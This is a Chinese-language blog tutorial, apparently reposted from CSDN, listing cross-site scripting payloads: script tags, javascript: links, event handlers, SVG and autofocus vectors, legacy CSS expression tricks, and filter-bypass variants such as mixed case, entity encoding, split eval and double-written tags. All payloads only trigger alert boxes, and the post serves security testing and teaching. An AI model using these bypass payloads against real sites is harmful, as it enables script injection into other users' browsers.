XSS 语句的构造

XSS 语句的构造

在这里插入图片描述
[第一节]利用[<>]构造HTML/JS
[第二节]伪协议—使用javascript: 伪协议的方式构造XSS
[第三节]产生自己的事件
[第四节] XSS 的变形
[第五节]其他标签以及手法
[第六节]利用CSS 跨站(old)

第一节 利用[<>]构造HTML/JS

可以利用[<>] 构造HTML 标签和<script> 标签。 
 在测试页面提交参数[<h1 style='color:red'> 
 利用[<>]构造HTML/JS</h1>]  提交[<script>alert(/xss/)</script>]

第二节 伪协议

可以使用javascript: 伪协议的方式构造XSS
 提交参数[<a href="javascript:alert(/xss/)">touch me!</a>],然后点击超链接,即可触发XSS。
 也可以使用img 标签的伪协议,但是这种方法在IE6 下测试成功。
[<img src="javascript:alert('xss')">]

第三节 产生自己的事件

"事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些时间进行响应。
所以我们可以通过事件触发JS 函数,触发XSS。
事件种类
windows 事件-------------对windows 对象触发的事件
Form 事件----------------HTML 表单内的动作触发事件
Keyboard 事件------------键盘按键
Mouse 事件---------------由鼠标或类似用户动作触发的事件
Media 事件------------由多媒体触发的事件

如:[<img src='./smile.jpg' onmouseover='alert(/xss/)'>] 
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,
会触发XSS 代码。
单行文本框的键盘点击事件,
[<input type="text" onkeydown="alert(/xss/)">],当点击键盘任意一个按键的时候触发。

第四节 XSS 的变形

[1.] 大小写转换
[2.] 引号的使用
[3.][/]代替空格
[4.] 回车
[5.] 对标签属性值进行转码
[6.] 双写绕过
我们可以构造的XSS 代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要有以下几种

1.大小写转换

   可以将payload 进行大小写转化。如下面两个例子。
<Img sRc='#' Onerror="alert(/xss/)" />

<a hREf="javaScript:alert(/xss/)">click me</a>

2. 引号的使用

HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。

<img src="#" onerror="alert(/xss/)"/>
<img src='#' onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/) />

3. [/]代替空格

可以利用左斜线代替空格

<Img/sRc='#'/Onerror='alert(/xss/)' />

4. 回车

我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。

<Img/sRc='#'/Onerror ='alert(/xss/)' />
<A hREf="javascript:alert(/xss/)">click me!</a>

5. 对标签属性值进行转码

可以对标签属性值进行转码,用来绕过过滤。对应编码如下

经过简单编码之后的样子。

<A hREf="j&#97;v&#x61;script:alert(/xss/)">click me!</a>
    
<A hREf="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">
click me!
</a>

6. 拆分跨站

<script>z='alert'</script>
 <script>z=z+'(/xss/)'</script>
  <script>eval(z)</script>

7. 双写绕过

<script>
   <scr<script>ipt>

8. 使用全角字符

   width:expression(alert(/xss/))

9.注释会被浏览器忽略

width:expr/**/ession(alert(/xs~s/))

10.样式表中的[] 和[\0]

第五节 其他标签以及手法

可以用其他标签触发XSS。

 [<svg onload="alert(/xss/)">] 这个语句还是比较简洁的。
 
 [<input onfocus=alert(/xss/) autofocus>]

标题第六节 利用CSS 跨站(old)

1 .行内样式

[<div style="background-image:url(javascript:alert(/xss/))">]

2 .页内样式

[<style>Body{background-image:url(javascript:alert(/xss/))}</style>]

3.外部样式

[<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>]
xss.css 文件内容如下

----------------------------------------------------------------- h1 {
color:red; } div {
/width:expression(alert(/xss/))/
background-image:url(javascript:alert(/xss/)) }

4. expression

[<div style="width:expression(alert(/xss/))">]
[<style>Body{background-image:expression(alert(/xss/));}</style>]
  

5 import

[<style>@import 'javascript:alert("xss")';</style>]
[<style type="text/css">@import url(xss.css);</style><div>AJEST</div>]
发布了223 篇原创文章 · 获赞 32 · 访问量 7万+

猜你喜欢

转载自blog.csdn.net/qq_41901122/article/details/103811969
xss
今日推荐